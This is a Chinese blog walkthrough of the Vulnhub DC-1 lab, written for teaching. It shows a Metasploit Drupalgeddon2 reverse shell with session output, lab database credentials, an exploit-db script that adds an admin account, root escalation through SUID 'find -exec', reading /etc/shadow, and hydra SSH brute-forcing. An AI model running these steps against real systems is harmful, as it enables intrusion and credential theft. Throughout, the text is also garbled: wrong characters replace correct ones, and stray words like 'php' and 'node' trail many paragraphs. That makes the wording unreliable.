[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)

这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目,采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程链接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用,经过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章,但愿对您有所帮助。php

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。node

做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-studypython


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。mysql

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)git


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包github



一.DC-1题目描述及环境配置

Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。做者会深刻分析20多个案例来熟悉各类Web渗透工具及方法,但愿能帮助到您。web

1.题目描述

在这里插入图片描述

Description
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.正则表达式



2.环境搭建

第一步,下载资源算法

在这里插入图片描述


第二步,打开VMware虚拟机安装靶场
找到咱们刚才下载的文件,导入虚拟机。

在这里插入图片描述

选择存放的位置,而后点击导入。若是出现未经过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。

在这里插入图片描述


第三步,导入完成以后,设置NAT网络模式,内存设置为1G,硬盘设置为4GB
注意,咱们须要将靶机和kali放在同一个局域网下,保证能通讯。

在这里插入图片描述


第四步,点击开启虚拟机

在这里插入图片描述

此时服务器处于开启状态,开始Kali操做吧!最先我一直去找用户名和密码尝试登陆,后来想这个靶场应该是让你经过其余系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。

在这里插入图片描述



二.Vulnhub靶机渗透详解

1.信息收集

第一步,目标IP探测
首先须要探测目标靶场的IP,推荐两种方法。

方法1:使用arp-scan命令探测目标的IP地址

  • arp-scan -l
  • 目标IP为192.168.44.144

在这里插入图片描述

方法2:使用netdiscover识别目标主机

  • netdiscover -i eth0
    做者结合本身的虚拟机识别出来IP地址为:192.168.44.144

在这里插入图片描述


第二步,端口扫描
nmap命令的基本用法以下:

  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令以下:

  • nmap -sS -T4 -A -p- 192.168.44.144

扫描结果(主机开放端口)以下,经常使用的端口22和88,也须要注意一些特殊的端口可能存在漏洞。

  • 22:SSH远程链接
  • 80:HTTP网站协议
  • 111:RPCBInd协议
  • 45684:敏感端口

在这里插入图片描述

注意:在信息扫描中,目录扫描是接下来的操做。但这里做者没有进行目录扫描,由于该靶场考察一个CMS漏洞利用,后续也会有目录扫描操做。



2.CMS漏洞搜索

接着咱们经过IP直接访问Web服务,这是一个Drupal搭建的网站。

在这里插入图片描述

推荐使用插件Wappalyzer进行网站指纹识别,也能够发现该网站是使用Drupal CMS的管理系统。

在这里插入图片描述

咱们能够尝试在网上搜索这个cms的漏洞利用方式,能够发现漏洞编号为:

  • CVE-2018-7600

在这里插入图片描述

使用AWVS进行扫描,获得该页面存在Drupal的一个漏洞CVE-2018-7600。

在这里插入图片描述



3.Metasploit漏洞利用

接下来使用metasploit工具对漏洞进行利用。

第一步,启动metasploit

  • msfconsole

在这里插入图片描述


第二步,搜索drupal模块,采用2018
搜索这个CMS在MSF中能进行利用的方法,前面咱们已经查询CVE-2018-7600是常见的漏洞。若是不知道的状况下,咱们就须要一个个攻击模块的尝试。

  • search drupal

在这里插入图片描述


第三步,采用最新的2018漏洞尝试攻击,配置参数

  • use exploit/unix/webapp/drupal_drupalgeddon2
  • show options:显示配置参数,其中RHOSTS是必填项

在这里插入图片描述


第四步,反弹shell

  • set RHOSTS 192.168.44.144
  • exploit
  • shell
  • ls

在这里插入图片描述


具体内容以下,注意发现了第一个文件flag1.txt。

README.txtmsf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.44.144
RHOSTS => 192.168.44.144
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.44.138:4444 
[*] Sending stage (38247 bytes) to 192.168.44.144
[*] Meterpreter session 1 opened (192.168.44.138:4444 -> 192.168.44.144:33770) at 2020-04-10 22:25:12 +0800

meterpreter > shell
Process 3429 created.
Channel 0 created.

ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php


4.敏感信息分析获取flag1和falg2

在/var/www/下有个flag1.txt,提示咱们查看配置文件。

在这里插入图片描述

虽然shell已经进入,但它并非交互的shell,因此咱们要进入交互式的shell。

  • cat flag1.txt
  • pwd
  • whoami
  • ls

在这里插入图片描述


使用python反弹一个交互式shell TTY。

  • python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

注意,drupal的配置文件是 /sites/default/settings.php ,是数据库链接配置文件。

  • cat settings.php

在这里插入图片描述

接着发现了flag2以及数据库帐号密码。

在这里插入图片描述

登上数据库查看相关信息。

<?php

/** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);


5.数据库爆破

因为Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看发现了flag2和数据库的帐号密码,咱们接着进入数据库查看。

第一步,登陆数据库

  • msql -u dbuser -p
  • username => dbuser
  • password => R0ck3t
  • database => drupaldb

在这里插入图片描述


第二步,数据库基本操做

  • show database;
  • use drupaldb;
  • show tables;

在这里插入图片描述

发现用户表为users,注意Drupal框架默认的用户表就是users表。

在这里插入图片描述


第三步,查询admin用户

  • select * from users;
  • select name,pass from users;

在这里插入图片描述

发现admin帐号和通过加密的密码,flag2中给的提示暴力破解不是惟一的方法

在这里插入图片描述

输出结果以下,但密码加密且不是md5方式。如何破解密码是接下来的关键。

mysql> select name,pass from users;
select name,pass from users;
+-------+---------------------------------------------------------+
| name  | pass                                                    |
+-------+---------------------------------------------------------+
|       |                                                         |
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
+-------+---------------------------------------------------------+
3 rows in set (0.00 sec)


6.数据库管理员密码修改及获取flag3

该部分参考文章:
VulnHub::DC-1 - chalan630大佬
如何重置Drupal 7的用户密码 - xieyanxy9
忘记Drupal的管理员密码的解决办法 - drupalchina


方法一:利用PHP脚本修改管理员密码
因为不少在线MD5爆破和MD5数据库,能够查到不少MD5码的原文,因此Drupal 7已再也不采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一块儿后再MD5加密。

第一个破解方法是利用Drupal 7安装目录的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,能够执行一些高级操做。其中有一个脚本名为password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。

因为Drupal 7对数据库加密的脚本位于网站根目录scripts下,利用该脚本修改成新密码123456,基本流程以下:

  • php scripts/password-hash.sh 123456

在这里插入图片描述

# php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456 		
hash: $S$DQrmfkgP1s7S3svvp/OdzHuGpZyt0oaIOIMuULnN6Zo.gxuq8MAu

接着咱们再次登陆数据库。

  • mysql -u dbuser -p

在这里插入图片描述

使用update语句修改密码,代码以下:

  • use drupaldb;
  • select name,pass from users;
  • update users set pass=’$… Zo.gxuq8MAu’ where name=‘admin’;
  • select name,pass from users;

在这里插入图片描述

对原密码进行替换,再登陆web服务,获得flag3。

  • admin
  • 123456

在这里插入图片描述

主页显示以下图所示:

在这里插入图片描述

能够在People页面看到咱们的管理员用户信息。

在这里插入图片描述

对应的Flag3以下图所示:

在这里插入图片描述

flag3的提示须要提高权限,使用“-exec”在shadow文件中,接下来须要先查看用户列表。

在这里插入图片描述



方法二:查找可利用漏洞,添加新管理员帐户
在exploitdb中有一个针对Drupal 7版本的攻击脚本,能够增长一个admin权限的用户帐号,第二种方法是经过该过程新增admin密码。

第一步,查看Drupal版本,肯定Drupal版本为7.24

  • cat /var/www/includes/bootstrap.inc | grep VERSION

在这里插入图片描述


第二步,使用searchsploit查找可利用漏洞。攻击脚本适用于7.31如下,因此适合7.24版本。

  • searchsploit drupal

在这里插入图片描述


第三步,利用drupal7.0版本漏洞增长有admin权限的用户:eastmount

  • python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount

在这里插入图片描述

新增管理员用户以下:

在这里插入图片描述


第四步,使用新添加的用户eastmount登陆网站,在content模块下找到flag3。

在这里插入图片描述

显示flag3以下:

在这里插入图片描述

flag3提示须要提高权限,使用“-exec”在shadow文件中,接下来须要先查看用户列表。

在这里插入图片描述



7.用户信息获取flag4

首先,我再带领你们回顾下整个渗透的流程。

1.metasploit反弹shell
  msfconsole
  use exploit/unix/webapp/drupal_drupalgeddon2
  set RHOSTS 192.168.44.144
  exploit

2.获取www-data@DC-1用户权限
  shell
  python -c 'import pty;pty.spawn("/bin/bash")'
  cat /etc/passwd
  find /root

在这里插入图片描述

在这里插入图片描述

flag3的提示提到了权限,因而咱们尝试查看用户列表。

  • cat /etc/passwd

在这里插入图片描述

注意,/etc/passwd包含系统全部帐户信息,只有超级用户才有写和访问。该文件每一个用户占一行用,分隔成七个字段。以下图所示:

在这里插入图片描述

发现flag4用户,接着切换到falg4的home目录,发现flag4.txt文件。flag4提示flag in root,接下来咱们须要提权。

在这里插入图片描述



8.提权和Hydra爆破flag5

咱们使用find获取root权限相关的信息,以下图所示:

  • find /root

find命令是用来在指定目录下查找文件。任何位于参数以前的字符串都将被视为欲查找的目录名。若是使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件所有进行显示。

find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录

发现最终flag文件,可是无权限打开,flag3中提醒须要使用“-exec”提权。

在这里插入图片描述

接着进行ROOT提权,核心步骤包括:

  • mkdir test
  • find test -exec ‘/bin/sh’ /;

在这里插入图片描述

查看/etc/shadow文件,发现flag4用户,而且flag4用户能够登陆和密码。因此咱们使用hydra进行爆破。

  • cat /etc/shadow

在这里插入图片描述

/etc/shadow文件存储的是/etc/passwd的密码、存放安全用户信息,格式以下:

在这里插入图片描述

接着使用hydra进行密码爆破,最终爆破用户和密码为:flag四、orange。

  • hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • -l:指定用户名
  • -P:加载自定义密码字典
  • ssh://ip:指定使用协议和ip地址

在这里插入图片描述

注意,hydra爆破海量密码比较耗时,因此拥有一些好的字典很是重要。

在这里插入图片描述

最终结果为:

  • login: flag4
  • password: orange

在这里插入图片描述



9.SSH远程登陆

接着使用flag4用户进行ssh远程登陆系统。

  • ssh flag4@192.168.199.203
  • 密码: orange

在这里插入图片描述

前面在flag4中提示root根目录,接着进入到根目录/root下找到thefinalflag.txt文本。

在这里插入图片描述

最终五个flag所有找到,游戏结束!DC-1这个靶场的综合性挺强的,也很是有趣。

在这里插入图片描述


注意,咱们也能够直接利用find和-exec获取最终的flag。

  • touch test
  • find test -exec whoami ;
  • find test -exec cat /root/thefinalflag.txt ;

在这里插入图片描述

在这里插入图片描述



10.suid提权

什么是suid?
通俗的理解是其余用户执行这个程序的时候能够用该程序全部者/组的权限。suid提权能够理解为某个文件有s标志,而且它输入root,当咱们运行这个程序时就能够有root的权限,而且这个程序还能执行命令,那么咱们就能从普通用户提高到root权限。常见suid提权的命令包括nmap、vim、find、bash等。

下面补充下suid提权方法,前面咱们的www-data权限很低,一般拿到网站须要进行提权。找到一个属于root有s权限的文件。

  • find / -user root -perm 4000 -print 2>/dev/null
  • find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

查看find的权限为root。

  • cd /usr/bin
  • ls -l find

在这里插入图片描述

root提权。

  • mkdir test
  • find test -exec ‘/bin/sh’ /;
  • whoami

在这里插入图片描述

接下来开始寻找flag,好比进入home目录发现flag4文件。

在这里插入图片描述


这文件存储的是/etc/passwd的密码、存放安全用户信息。
在这里插入图片描述


三.总结

写道这里,这篇文章讲解完毕,后续会更深刻的分享。DC-1的渗透流程以下:

  • 信息收集
    (1) 目标IP探测 (arp-scan、netdiscover)
    (2) Nmap端口扫描
  • CMS漏洞搜索
    (1) Wappalyzer识别Drupal CMS管理系统
    (2) 搜索Drupal漏洞编号CVE-2018-7600
  • Metasploit漏洞利用反弹shell
    (1) 搜索drupal漏洞
    (2) msf使用漏洞并配置参数
    (3) 反弹shell
  • 敏感信息分析
    (1) 敏感信息获取flag1
    (2) python反弹交互式shell python -c ‘import pty;pty.spawn("/bin/bash")’
    (3) 获取flag和数据库帐号密码
  • 数据库爆破
    (1) 登陆数据库 msql -u dbuser -p
    (2) 查看用户表users
    (3) 发现admin用户和密码,但密码加密
  • 数据库管理员密码获取
    (1) 修改管理员密码 php scripts/password-hash.sh 123456
    (2) 数据库update更新密码 update users set pass=‘MD5(123456)’ where name=‘admin’;
    (3) 登陆网站获取flag3
    (4) 利用漏洞和Python脚本新增用户 searchsploit drupal
    (5) python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount
  • 提权和Hydra爆破
    (1) 用户信息获取flag4 cat /etc/passwd
    (2) ROOT提权 find test -exec ‘/bin/sh’ /;
    (3) hydra爆破密码 hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • SSH远程登陆
  • suid提权,常见root提权命令
    (1) find test -exec cat /root/thefinalflag.txt ;
    (2) find test -exec ‘/bin/sh’ /
    (3) find / -user root -perm -4000 -print 2>/dev/null
    (4) find / -perm -u=s -type f 2>/dev/null
    (5) find / -user root -perm -4000 -exec ls -ldb {} ;

但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。转眼4月份到来,这是第66篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行;同时学术论文得深刻了,加油!感谢不少人的帮助,继续爬着,继续加油!

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

(By:Eastmount 2020-04-11 晚上10点写于贵阳 http://blog.csdn.net/eastmount/)


参考文献:
[1] VulnHub-DC-1靶机渗透测试 - MzHeader
[2] VulnHub::DC-1 - chalan630
[3] Vulnhub靶机渗透测试实战(一):DC-1(入门) - Jenny_Zhx
[4] Vulnhub系列:DC-1 - capelthwaite
[5] (vulnhub靶机)DC-1 - 深信服TraveNight
[6] VulnHub测试靶场DC-1 - wx5c99daab1f230
[7] Vulnhub DC-1靶机渗透学习 - This-is-Y
[8] 如何重置Drupal 7的用户密码 - xieyanxy9
[9] https://cybrary.in/dc-1-1-vulnhub-walkthrough/